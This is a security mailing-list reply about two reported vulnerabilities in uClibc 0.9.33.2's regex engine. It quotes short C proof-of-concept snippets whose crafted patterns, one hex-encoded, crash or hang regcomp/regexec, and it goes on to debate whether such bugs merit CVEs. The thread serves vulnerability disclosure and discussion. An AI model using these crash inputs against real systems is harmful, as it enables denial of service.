Re: two vulns in uClibc-0.9.33.2

[Seth Arnold <seth.arnold () canonical com>]

On Fri, Jun 16, 2017 at 11:53:09AM +0800, fefe wrote:
> I found two vulns in  uClibc-0.9.33.2 (https://uclibc.org/)
> [...]
> The poc code like:
>       
>       if(regcomp (&regtmp,"(.+)upper\\1^", REG_EXTENDED|REG_ICASE | REG_NOSUB )==0)
>       {               
>               reg1match_t pmatch[1];
>               regexec(&regtmp, "upperupperupperx",1, pmatch, 0);
>               regfree(&regtmp);
>       }
>
> [...]
>
> The poc code like:    
>       
>       if(regcomp 
> (&regtmp,"\x28\x2E\x3F\x3F\x28\x2E\x3F\x29\x5C\x42\x44\x3F\x3F\x28\x2E\x5C\x32\x29\x2A\x5C\x32\x28\x2E\x3F\x29\x5C\x32\x29\x2A\x5C\x32\xBD",
>  REG_EXTENDED|REG_ICASE | REG_NOSUB )==0)
>       {               
>               reg1match_t pmatch[1];
>               regexec(&regtmp, "\x72\xFF\xFF\xFF\xFF\xBD",1, pmatch, 0);
>               regfree(&regtmp);
>       }

A question to the wider list:

Does it make sense to assign CVEs to regex compilation? Very few toolkits
handle this well, and even given how many regex toolkits use backtracking,
even 'safe' regexes can lead to essentially unbounded execution time.

Some regex engines like Rust's regex and Go's regex should handle
untrusted inputs well: they're non-backtracking engines and type-safe
languages.  Hypothetical crashes like this probably would qualify for
CVEs in either of these environments. But I'm less convinced it makes
sense with C-based engines to allow untrusted inputs.

http://www.etalabs.net/compare_libcs.html suggests that uclibc's regex is
DFA-based thus it's probably intended to allow untrusted inputs -- but is
that explicitely stated as a goal anywhere?

Thanks

Attachment: signature.asc
Description: